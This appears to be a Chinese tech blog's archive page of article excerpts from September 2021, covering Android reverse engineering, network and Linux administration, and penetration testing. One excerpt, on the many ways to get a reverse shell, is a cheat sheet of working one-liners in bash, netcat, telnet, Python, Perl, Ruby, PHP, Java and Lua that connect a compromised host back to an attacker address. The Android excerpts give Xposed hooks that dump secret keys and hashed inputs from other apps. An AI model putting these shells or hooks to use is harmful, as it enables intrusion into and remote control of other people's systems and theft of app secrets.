网站首页 发表在 2021年09月 的所有文章

  • 安卓逆向 -- 自吐算法(MAC)

    一、MAC算法源码 import javax.crypto.Macimport javax.crypto.spec.SecretKeySpecString bs= "逆向有你a";SecretKeySpec key = new SecretKeySpec("12345".getBytes(StandardCharsets.UTF_8), "HmacSHA256");//申请一个密钥,长度内容随便写Mac mac = Mac.getInstance("HmacSHA256");//告诉系统我用的加密码方式是HmacSHA256mac.init(key);byte[] macres = mac.doFinal(bs.getBytes(StandardCharsets.UTF_8));//开始加密System.out.println("HmacSHA1加密(字节):"+Arrays.toString(macres));System.out.println("HmacSHA1加密(字符串):"+bytes2HexString(macres));SecretKeySpec key1 = new SecretKeySpec("12345".getBytes(StandardCharsets.UTF_8), "HmacSHA256");//申请一个密钥,长度内容随便写Mac mac1 = Mac.getInstance("HmacSHA256");//告诉系统我用的加密码方式是HmacSHA256mac1.init(key1);mac1.update("逆向".getBytes(StandardCharsets.UTF_8));mac1.update("有你".getBytes(StandardCharsets.UTF_8));byte[] macres1 = mac1.doFinal("a".getBytes(StandardCharsets.UTF_8));System.out.println(bytes2HexString(macres1)); 二、分析源码,需hook的内容 1、hook类是javax.crypto.Mac,javax.crypto.spec.SecretKeySpec 2、hook的方法:SecretKeySpec,doFinal 三、hook源码 XposedBridge.hookAllMethods(XposedHelpers.findClass("javax.crypto.Mac", loadPackageParam.classLoader) , "doFinal", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); if(param.args.length==2) return; Mac mc = (Mac) param.thisObject;//实例化 String algorithm = mc.getAlgorithm();//获取加密算法的名称 if (param.args.length == 2) { byte[] params = (byte[]) param.args[0]; String data = new String(params); String datahex = b2s(params); String datab64 = Base64.encodeToString(params, 0); Log.d("逆向有你",algorithm+"data:"+data); Log.d("逆向有你",algorithm+"datahex:"+datahex); Log.d("逆向有你",algorithm+"datab64:"+datab64); } byte[] res=(byte[])param.getResult(); String reshex = b2s(res); String resb64 = Base64.encodeToString(res, 0); Log.d("逆向有你",algorithm+"resulthex:"+reshex); Log.d("逆向有你",algorithm+"resultb64:"+resb64); Log.d("逆向有你","========================================================================"); } });XposedBridge.hookAllConstructors(XposedHelpers.findClass("javax.crypto.spec.SecretKeySpec", loadPackageParam.classLoader) , new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); byte[] secretKey = (byte[]) param.args[0]; int offset=0; int size=0; String algorithm=null; if (param.args.length != 2) { offset = ((Integer) param.args[1]).intValue(); size = ((Integer) param.args[2]).intValue(); algorithm = (String) param.args[3]; }else { size=secretKey.length; algorithm= (String) param.args[1]; } byte[] keyres=new byte[size]; System.arraycopy(secretKey,offset,keyres,0,size); String keyreshex = b2s(keyres); String keyresb64 = Base64.encodeToString(keyres, 0); Log.d("逆向有你",algorithm+"secretkey:"+new String(keyres)); Log.d("逆向有你",algorithm+"secretkeyhex:"+keyreshex); Log.d("逆向有你",algorithm+"secretkeyb64:"+keyresb64); Log.d("逆向有你","========================================================================"); } }); 四、运行结果 禁止非法,后果自负 ...

    2021-09-29 496
  • 火山中文编程 -- 温度转换

    例子:有人用温度计测量出用华氏温度98°F,现在要求用火山中文编程实现,把它转换为以摄氏法表示的温度。 分析:摄氏度=(5/9)*(华氏度-32) 一、新建MFC窗口,设置好布局 二、编写代码 三、运行结果 四、知识点 5/9运行的结果是整数,所以最后结果为0 5.0/9运行的结果是小数 ...

    2021-09-29 458
  • 安卓逆向 -- 自吐算法(MD5和SHA)

    一、主要框架,hook代码主要填写在try代码块里 package com.bucuo.a20210908; import android.app.Application;import android.content.Context;import android.util.Log;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XposedBridge;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XC_MethodHook;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class hook implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam loadPackageParam) throws Throwable { Log.d("逆向有你", "hook成功"); try{ }catch (Exception e){ e.printStackTrace(); } } public String b2s(byte[] bt){ StringBuffer sb=new StringBuffer(); int i=0; while (i<bt.length){ int k=bt[i]; int j=k; if (k<0){ j=k+256; } if (j<16){ sb.append("0"); } sb.append(Integer.toHexString(j)); i+=1; } return sb.toString(); }} 二、MD5算法实现源码(SHA算法同理) import java.security.MessageDigest; String bs= "逆向有你a";MessageDigest md=MessageDigest.getInstance("MD5");//我要用md5算法md.update(bs.getBytes());//我要加密的数据byte[] res = md.digest();//给我加密System.out.println("MD5加密(字节):"+Arrays.toString(res));System.out.println("MD5加密(字符串):"+bytes2HexString(res)); MessageDigest mdmd = MessageDigest.getInstance("MD5");mdmd.update("逆向".getBytes(StandardCharsets.UTF_8));mdmd.update("有你".getBytes(StandardCharsets.UTF_8));byte[] mdmdres = mdmd.digest("a".getBytes(StandardCharsets.UTF_8));System.out.println(bytes2HexString(mdmdres)); 三、分析要hook的地方 1、hook的类就是导入的包,即“java.security.MessageDigest” 2、update可以使用多次(如果hook这里会无限循环), digest只能使用一次(这里是hook点) 四、知道hook的类及方法名,开始编写代码 XposedBridge.hookAllMethods(XposedHelpers.findClass("java.security.MessageDigest", loadPackageParam.classLoader) , "digest", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); MessageDigest md = (MessageDigest) param.thisObject;//实例化 String algorithm = md.getAlgorithm();//获取加密算法的名称 if (param.args.length >= 1) { byte[] params = (byte[]) param.args[0]; String data = new String(params); String datahex = b2s(params); String datab64 = Base64.encodeToString(params, 0); Log.d("逆向有你",algorithm+"data:"+data); Log.d("逆向有你",algorithm+"datahex:"+datahex); Log.d("逆向有你",algorithm+"datab63:"+datab64); } byte[] res=(byte[])param.getResult(); String reshex = b2s(res); String resb64 = Base64.encodeToString(res, 0); Log.d("逆向有你",algorithm+"resulthex:"+reshex); Log.d("逆向有你",algorithm+"resultb64:"+resb64); Log.d("逆向有你","========================================================================"); } }); 禁止非法,后果自负 ...

    2021-09-29 486
  • 由400台电脑组成的网络如何配置?

    一、学校项目配置案例 某校计算机系承办市中考电脑阅卷任务,市教育局要求学校提供四百台电脑供改卷教师使用,同时需要4台配置性能较高的服务器以供四百台客户端电脑访问。该校计算机系四百台电脑分布在7间机房中,共由4个IP网段组成。 一、要求:为了安全起见,要求处在4个网段的电脑相互之间不能访问,但所有的电脑均要求能访问这4台服务器,网络拓扑图如图13-7所示。经研究,可以通过配置三层交换机以实现以上要求。  二、具体配置及IP地址分配方案如下所述:假设:机房一、二的网线分别接在三层交换机的F0/1和F0/2端口;机房三、四的网线分别接在三层交换机的F0/6和F0/7端口;机房五、六的网线分别接在三层交换机的F0/11和F0/12端口;机房七的网线接在三层交换机的F0/16端口;服务器接在三层交换机的F0/21端口。  各机房IP地址分配机房一、二: IP:192.168.7.X/24,网关:192.168.7.254机房三、四: IP:192.168.8.X/24,网关:192.168.8.254机房五、六:IP:192.168.10.X/24,网关:192.168.10.254机房七:IP:192.168.11.X/24,网关:192.168.11.254服务器:IP:192.168.12.X/24  网关:192.168.12.254 三、网络拓扑图 四、配置三层交换机  本例以思科三层交换机为例,具体配置命令如下所示:有些重复的命令就不注释了。1、创建5个vlanSwitch>Switch>en  //进入特权模式Switch#config //进入全局配置模式Switch(config)#hostname 3560   //更改主机名为3560 3560(config)#vlan 10     //创建vlan103560(config-vlan)#vlan 20   //创建vlan203560(config-vlan)#vlan 303560(config-vlan)#vlan 403560(config-vlan)#vlan 503560(config-vlan)#exit 2、将端口划分到相应的VLAN3560(config)#int range f0/1-5    //进入端口1-53560(config-if-range)#switchport mode access  //将端口设置为access模式3560(config-if-range)#switchport access vlan10   //将1-5端口加入到vlan10中3560(config-if-range)#exit   //退出 3560(config)#int range f0/6-10  //进入端口6-10端口,其它命令与上面一样3560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan203560(config-if-range)#exit 3560(config)#int range f0/11-153560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan303560(config-if-range)#exit 3560(config)#int range f0/16-203560(config-if-range)#switchport mode access3560(config-if-range)#switchporta ccess vlan403560(config-if-range)#exit 3560(config)#int range f0/21-223560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan503560(config-if-range)#exit 先为三层交换机开启路由功能,这样才能实现计算机互访问3560(config)#no ip domain-loo   //告诉Router不要对它不知道的字符串做DNS解析3560 (config)#ip routing    //启动路由 3、为各个VLAN分别配置IP地址3560(config)#int vlan 10    //进入vlan103560(config-if)#ip add 192.168.7.254 255.255.255.0  //为vlan10分配子网掩码与ip地址3560(config-if)#no shut   //开启端口3560(config-if)#exit     //退出 3560(config)#int vlan 203560(config-if)#ip add 192.168.8.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 303560(config-if)#ip add 192.168.10.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 403560(config-if)#ip add 192.168.11.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 503560(config-if)#ip add 192.168.12.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 4、创建访问控制列表(ACL)很多朋友可能会问,控制访问列表有什么用,我们先来了解下它的作用。访问控制列表是应用在路由器接口的指令列表,这些指令列表用来告诉路由器哪些数据包可以接收、哪些数据包需要拒绝。 拒绝网络192.168.7.0/24访问这三个ip段(192.168.8.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 101 permit ip any any 拒绝网络192.168.8.0/24访问这三个ip段(192.168.7.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。 3560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.11.0  0.0.0.2553560(config)#access-list 102 permit ip any any 拒绝网络192.168.10.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 103 permit ip any any 拒绝网络192.168.11.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.10.0/24),而允许其他任何流量。3560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 104 permit ip any any 5、将ACL应用到相应的VLAN上3560(config)#int vlan10 3560(config-if)#ipaccess-group 101 in3560(config-if)#exit就是vlan10就只能访问101的列表。 3560(config)#int vlan203560(config-if)#ipaccess-group 102 in3560(config-if)#exit就是vlan20就只能访问102的列表。 3560(config)#int vlan303560(config-if)#ipaccess-group 103 in3560(config-if)#exit就是vlan30就只能访问103的列表。 3560(config)#int vlan403560(config-if)#ipaccess-group 104 in3560(config-if)#exit就是vlan40就只能访问104的列表。 3560#wr     //保存配置文件 五、验证测试1、机房一、二的电脑Ping不通处在8、10、11网段的电脑,但可以Ping通处在12网段的服务器;2、机房三、四的电脑Ping不通处在7、10、11网段的电脑,但可以Ping通12网段的服务器;3、机房五、六的电脑Ping不通处在7、8、11网段的电脑,但可以Ping通12段的服务器;4、机房七的电脑Ping不通处在7、8、10网段的电脑,但可以Ping通12网段的服务器。...

    2021-09-29 558
  • linux中使用ACL保护文件目录​

    ACl (Access Control List),主要目的是提供传统的 owner、group、others 的 read、write、execute 权限之外的特殊权限需求设置。ACL 可以针对单一使用者、单一文件或目录来进行 r、w、x 的权限规范,对于需要特殊权限的使用状况非常有帮助 ACl 主要针对以下方面来控制权限: 使用者 user 群组 group 默认属性 mask:针对在该目录下在建立新文件/目录时,规范新数据的默认权限 有一个目录,给一堆人使用,每个人或每个群组所需要的权限并不相同,使用传统 Linux 三种身份的三种权限是无法达到的,因此基本上,传统的 Linux 权限只能针对一个用户、一个群组以及非此群组的其他人设置权限。无法针对单一用户或个人来设计权限。 Note:根据 Redhat 产品文档,它为 ext3 文件系统和 NFS 导出文件系统提供 ACL 支持。 如何检查 Linux 系统中的 ACL 支持 在继续之前,你应该在当前内核和挂载的文件系统上支持 ACL。 1. 检查内核是否支持 ACL 运行以下命令检查文件系统的 ACL 支持和 POSIX_ACL=Y 选项(如果有 N 代替 Y,则表示内核不支持ACL,需要重新编译)。 [root@linux ~]# grep -i acl /boot/config* CONFIG_`EXT4_FS_POSIX_ACL=y` CONFIG_`REISERFS_FS_POSIX_ACL=y` CONFIG_JFS_POSIX_ACL=y CONFIG_XFS_POSIX_ACL=y CONFIG_BTRFS_FS_POSIX_ACL=y CONFIG_FS_POSIX_ACL=y CONFIG_GENERIC_ACL=y CONFIG_TMPFS_POSIX_ACL=y CONFIG_NFS_V3_ACL=y CONFIG_NFSD_V2_ACL=y CONFIG_NFSD_V3_ACL=y CONFIG_NFS_ACL_SUPPORT=m CONFIG_CIFS_ACL=y CONFIG_9P_FS_POSIX_ACL=y 2.检查所需的包 在开始使用 ACL 之前,请确保你已安装所需的软件包。以下是需要使用安装的必需软件包yum 或者 apt-get. [root@linux ~]# yum install nfs4-acl-tools acl libacl  [on `RedHat` based systems] [rumenz@linux ~]$ sudo apt-get install nfs4-acl-tools acl [on `Debian` based systems] 3. 检查挂载的文件系统是否支持 ACL 现在,检查挂载的文件系统是否使用 ACL 选项挂载。我们可以用mount 用于检查相同的命令,如下所示。 [root@linux ~]# mount  | grep -i root /dev/mapper/fedora-root on / type ext4 (rw,relatime,data=ordered) 但在我们的例子中,它默认不显示 acl。因此,接下来我们可以选择使用 acl 选项再次重新挂载已安装的分区。但是,在继续之前,我们有另一个选项来确保分区是否使用 acl 选项挂载,因为对于最近的系统,它可能与默认挂载选项集成。 [root@linux ~]# tune2fs -l /dev/mapper/fedora-root | grep acl Default mount options:    user_xattr acl 在上面的输出中,你可以看到默认挂载选项已经支持 acl。另一种选择是重新挂载分区,如下所示。 [root@linux ~]# mount -o remount,acl / 接下来,将以下条目添加到/etc/fstab文件中以使其永久化。 /dev/mapper/fedora-root / ext4    defaults,acl 1 1 再次,重新挂载分区。 [root@linux ~]# mount -o remount  / 4.对于NFS服务器 在 NFS 服务器上,如果 NSF 服务器导出的文件系统支持 ACL,并且 NFS 客户端可以读取 ACL,那么客户端系统就会使用 ACL。 要禁用 NFS 共享上的 ACL,你必须添加选项no_acl 在 /etc/exportfs NFS 服务器上的文件。要再次在 NSF 客户端禁用它,请使用no_acl 挂载时间的选项。 如何在 Linux 系统中实现 ACL 支持 有两种类型 ACLs: Access ACLs:访问 ACL 用于授予对任何文件或目录的权限。 Default ACLs:默认 ACL 仅用于在特定目录上授予/设置访问控制列表。 访问 ACL 和默认 ACL 的区别: 默认 ACL 只能在目录级别使用。 在该目录中创建的任何子目录或文件都将从其父目录继承 ACL。另一方面,文件继承默认 ACL 作为其访问 ACL。 我们利用–d用于设置默认 ACL,默认 ACL 是可选的。 设置默认 ACL 之前 要确定特定文件或目录的默认 ACL,请使用 getfacl 命令。在下面的例子中,getfacl 用于获取文件夹的默认 ACL Music。 [root@linux ~]# getfacl Music/ # file: Music/ # owner: root # group: root user::rwx group::r-x other::r-x default:user::rwx default:group::r-x default:other::rw- 设置默认 ACL 后 要为特定文件或目录设置默认 ACL,请使用 setfacl 命令。在下面的例子中,setfacl 命令将设置一个新的 ACL(read 和 execute) 给文件夹 Music. [root@linux ~]# setfacl -m d:o:rx Music/ [root@linux ~]# getfacl Music/ # file: Music/ # owner: root # group: root user::rwx group::r-x other::r-x `default:user::rwx default:group::r-x default:other::r-x` 如何设置新的 ACL 使用 setfacl用于设置或修改任何文件或目录的命令。例如,rumenz1用户赋予read和 write 的权限。 # setfacl -m u:rumenz1:rw /rumenz1/example 如何查看 ACL 使用 getfacl 用于查看任何文件或目录上的 ACL 的命令。例如,要查看  上的 ACL/rumenz1/example 使用下面的命令。 # getfacl /rumenz1/example # file: rumenz1/example/ # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::rwx mask::rwx other::--- 如何删除 ACL 为了从任何文件/目录中删除 ACL,我们使用 x 和 b 选项 # setfacl -x ACL file/directory   # remove only specified ACL from file/directory. # setfacl -b  file/directory     #removing all ACL from file/direcoty 两个用户(rumenz1 和 rumenz2),两者都有名为的共同次要组acl。我们将创建一个所有者是rumenz1的目录, 并将该目录的 read 和 execute 授权给用户 rumenz2。 Step 1: 创建两个用户并从两者中删除密码 [root@linux ~]# for user in rumenz1 rumenz2 > do > useradd $user > passwd -d $user > done Removing password for user rumenz passwd: Success Removing password for user rumenz passwd: Success Step 2: 创建一个组和用户到次要组。 [root@linux ~]# groupadd acl [root@linux ~]# usermod -G acl rumenz1 [root@linux ~]# usermod -G acl rumenz2 Step 3:创建目录/rumenz并将所有权更改为rumenz1`. [root@linux ~]# mkdir /rumenz1 [root@linux ~]# chown rumenz1 /rumenz1/ [root@linux ~]# ls -ld /rumenz1/ drwxr-xr-x 2 rumenz1 root 4096 Apr 17 14:46 /rumenz1/ [root@linux ~]# getfacl /rumenz1 `getfacl: Removing leading '/' from absolute path names` # file: rumenz1 # owner: rumenz1 # group: root user::rwx group::r-x other::r-x Step 4: 登录 rumenz1 并在其中创建一个目录。 [rumenz@linux ~]$ su - rumenz1 Last login: Thu Apr 17 14:49:16 IST 2014 on pts/4 [rumenz1@linux ~]$ cd /rumenz1/ [rumenz1@linux rumenz1]$ mkdir example [rumenz1@linux rumenz1]$ ll total 4 drwxrwxr-x 2 rumenz1 rumenz1 4096 Apr 17 14:50 example [rumenz1@linux rumenz1]$ whoami  rumenz1 Step 5: 现在使用设置ACLsetfacl,  rumenz1 将拥有所有 rwx 权限,rumenz2 将只有 read 的权限,example 文件夹和其他文件夹将没有权限。 $ setfacl -m u:rumenz1:rwx example/ $ setfacl -m u:rumenz2:r-- example/ $ setfacl -m  other:--- example/ $ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::r-x mask::rwx other::--- Step 6: rumenz2 在另一个终端上并将目录更改为 /rumenz1。现在尝试使用ls命令 查看内容,然后尝试更改目录并查看如下差异。 [rumenz@linux ~]$ su - rumenz2 Last login: Thu Apr 17 15:03:31 IST 2014 on pts/5 [rumenz2@linux ~]$ cd /rumenz1/ [rumenz2@linux rumenz1]$ ls -lR example/ example/: total 0 [rumenz2@linux rumenz1]$ cd example/ -bash: cd: example/: Permission denied [rumenz2@linux rumenz1]$ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::rwx mask::rwx other::--- Step 7: 现在给 execute许可rumenz2 在 example 文件夹,然后使用 cd 命令查看效果。现在 rumenz2 具有查看和更改目录的权限,但没有写入任何内容的权限。 [rumenz1@linux rumenz1]$ setfacl -m u:rumenz2:r-x example/ [rumenz1@linux rumenz1]$ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-x group::rwx mask::rwx other::--- [rumenz@linux ~]$ su - rumenz2 Last login: Thu Apr 17 15:09:49 IST 2014 on pts/5 [rumenz2@linux ~]$ cd /rumenz1/ [rumenz2@linux rumenz1]$ cd example/ [rumenz2@linux example]$ getfacl . [rumenz2@linux example]$ mkdir test mkdir: cannot create directory test: Permission denied [rumenz2@linux example]$ touch test touch: cannot touch test: Permission denied Note: 执行 ACL 后,你将看到一个额外的 + 符号为 ls –l 输出如下。 [root@linux rumenz1]# ll total 4 drwxrwx---+ 2 rumenz1 rumenz1 4096 Apr 17 17:01 example...

    2021-09-29 411
  • 反弹shell的N种姿势

    0x00 前言 在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。 0x01 Bash反弹 1.1 方法一 攻击者主机上执行监听: nc -lvvp port 目标主机上执行: bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i 打开一个交互的bash#>& 将标准错误输出重定向到标准输出#/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互 注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。 inux shell下常用的文件描述符是: 1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ; 2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ; 3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。 另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。 1.2 方法二 exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1 1.3 方法三 exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done 0x02 telnet反弹 2.1 方法一 攻击者主机上打开两个终端分别执行监听: nc -lvvp 4444nc -lvvp 5555 目标主机中执行: telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip 反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 2.2 方法二 rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p 0x03 nc(netcat)反弹 攻击者主机上执行监听命令: nc -lvvp port 目标主机上执行: nc -e /bin/bash x.x.x.x port 如果目标主机linux发行版本没有 -e 参数,还有以下几种方式: rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f 注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信 nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555   #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。nc -c /bin/sh x.x.x.x 4444/bin/sh | nc x.x.x.x 4444 0x04 常见脚本反弹 4.1 python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 4.2 perl 4.2.1 方法一 perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 4.2.2 方法二 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 4.3 Ruby 4.3.1 方法一 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 4.3.2 方法二 ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 4.4 PHP php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");' 4.5 Java public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime();    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}} 4.6 Lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');" 注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听: nc -lvvp 5555 0x05 总结 上面提到的是常见的反弹shell的方式,肯定还有其他的方式,欢迎大家补充,这里也会不断的跟新。 ...

    2021-09-29 431
  • Linux下 iptables 超详细教程和使用示例

    iptables的结构: iptables由上而下,由Tables,Chains,Rules组成。 一、iptables的表tables与链chains iptables有Filter, NAT, Mangle, Raw四种内建表: 1. Filter表 Filter是iptables的默认表,它有以下三种内建链(chains): INPUT链 – 处理来自外部的数据。 OUTPUT链 – 处理向外发送的数据。 FORWARD链 – 将数据转发到本机的其他网卡设备上。 2. NAT表 NAT表有三种内建链: PREROUTING链 – 处理刚到达本机并在路由转发前的数据包。它会转换数据包中的目标IP地址(destination ip address),通常用于DNAT(destination NAT)。 POSTROUTING链 – 处理即将离开本机的数据包。它会转换数据包中的源IP地址(source ip address),通常用于SNAT(source NAT)。 OUTPUT链 – 处理本机产生的数据包。 3. Mangle表 Mangle表用于指定如何处理数据包。它能改变TCP头中的QoS位。Mangle表具有5个内建链(chains): PREROUTING OUTPUT FORWARD INPUT POSTROUTING 4. Raw表 Raw表用于处理异常,它具有2个内建链: PREROUTING chain OUTPUT chain 5.小结 二、IPTABLES 规则(Rules) 规则的关键知识点: Rules包括一个条件和一个目标(target) 如果满足条件,就执行目标(target)中的规则或者特定值。 如果不满足条件,就判断下一条Rules。 目标值(Target Values) 在target里指定的特殊值: ACCEPT – 允许防火墙接收数据包 DROP – 防火墙丢弃包 QUEUE – 防火墙将数据包移交到用户空间 RETURN – 防火墙停止执行当前链中的后续Rules,并返回到调用链(the calling chain)中。 查看各表中的规则命令 # iptables -t filter --list 查看mangle表: # iptables -t mangle --list 查看NAT表: # iptables -t nat --list 查看RAW表: # iptables -t raw --list 以下例子表明在filter表的input链, forward链, output链中存在规则: # iptables --list Chain INPUT (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain FORWARD (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT) num target prot opt source destination Chain RH-Firewall-1-INPUT (2 references) num target prot opt source destination 1 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 2 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 255 3 ACCEPT esp -- 0.0.0.0/0 0.0.0.0/0 4 ACCEPT ah -- 0.0.0.0/0 0.0.0.0/0 5 ACCEPT udp -- 0.0.0.0/0 224.0.0.251 udp dpt:5353 6 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:631 7 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:631 8 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 9 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 10 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited 以上输出包含下列字段: num – 指定链中的规则编号 target – 前面提到的target的特殊值prot – 协议:tcp, udp, icmp等source – 数据包的源IP地址destination – 数据包的目标IP地址 三、清空所有iptables规则 在配置iptables之前,你通常需要用iptables --list命令或者iptables-save命令查看有无现存规则,因为有时需要删除现有的iptables规则: iptables --flush 或者 iptables -F 下面命令是清除iptables nat表规则。 iptables -t nat -F 四、永久生效 当你删除、添加规则后,这些更改并不能永久生效,这些规则很有可能在系统重启后恢复原样。如下配置让配置永久生效。 # 保存iptables规则 service iptables save # 重启iptables服务 service iptables stop service iptables start 查看当前规则: cat /etc/sysconfig/iptables 五、追加iptables规则 可以使用iptables -A命令追加新规则,其中-A表示Append。因此,新的规则将追加到链尾。 一般而言,最后一条规则用于丢弃(DROP)所有数据包。如果你已经有这样的规则了,并且使用-A参数添加新规则,那么就是无用功。 1.语法 iptables -A chain firewall-rule -A chain – 指定要追加规则的链 firewall-rule – 具体的规则参数 2.描述规则的基本参数 以下这些规则参数用于描述数据包的协议、源地址、目的地址、允许经过的网络接口,以及如何处理这些数据包。这些描述是对规则的基本描述。 -p 协议(protocol) 指定规则的协议,如tcp, udp, icmp等,可以使用all来指定所有协议。  如果不指定-p参数,则默认是all值。这并不明智,请总是明确指定协议名称。  可以使用协议名(如tcp),或者是协议值(比如6代表tcp)来指定协议。映射关系请查看/etc/protocols 还可以使用–protocol参数代替-p参数-s 源地址(source) 指定数据包的源地址 